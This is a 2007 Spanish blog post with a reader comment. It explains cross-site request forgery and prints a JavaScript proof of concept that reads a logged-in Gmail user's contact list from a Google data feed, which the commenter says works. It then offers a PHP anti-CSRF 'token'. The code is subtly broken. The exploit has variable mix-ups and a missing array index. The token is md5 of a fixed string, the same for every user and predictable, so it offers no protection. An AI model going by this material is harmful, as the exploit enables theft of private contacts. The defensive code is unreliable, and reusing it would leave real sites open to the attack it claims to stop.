Martes 02 De Enero Del 2007 @ 10:49 AM |
kaioken
Primero de todo ¿Que es CSRF? Son ataques por clicks, uso de session del usuario desde una pagina extrangera Cross-site request forgery, also known as one click attack or session riding. Esto nos permite utilizar la session que tienes en el momento logeado en la pagina y poder hacer cosas atravez de ella (ej: agregar comentarios, atravez de otra pagina).
Gmail tiene esta falla que nos permite leer la lista de contacto de una persona logeada entrando a una pagina con un simple javascript.
Code:
<script type="text/javascript"> function google(data){ var emails, i; for (i = 0; i <data.Body.Contacts.length; i++) { mails += "<li>" + data.Body.Contacts.Email + ""; } document.write("<ol>" + emails + "</ol>"); } </script> <script type="text/javascript" src="http://docs.google.com/data/contacts?out=js&show=ALL&psort=Affinity&callback=google&max=99999"> </script> |
Esto es gracias a que gmail guarda los contactos en un javascript en tu pc.
Ahora como nosotros los webDev nos protegemos de estos ataques? Una de las maneras más facil es utilizando TOKENS. ¿Que son estos tokens? bueno son un string generado al momento que el usuario va agregar alguna info desde el site y mediante una session verificamos que existe y luego lo eliminamos. De esta manera estamos seguro que ese usuario hizo la transaccion desde la pagina.
Codigo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
|
<?php
//codigo del formulario
//ponemos un hidden field con este token;
//<input type='hidden' value='echo md5('lo que te de tu gana'); ' />
$_SESSION['token'] = md5('lo que te de tu gana');
//-----------------------------------------------
/**ahora en la otra pagina donde agregamos la noticia o lo k sea verificamos que exista el token y que ese token k estas enviando desde el form sea el mismo que el user tenga en session de lo contrario no te permitimos agregra nada*/
if($_SESSION['token'] == $_POST['token'])
{
//sigue
}
?>
|
2007-01-02 13:42:48
Hice la prueba con mi propio correo... y pues q decir, es peligroso, funciona xD ... segun tengo entendido, Google no se habia percatado del bug... así q apenas estan en eso, recomiendo no navegar en el web, estando logeado =P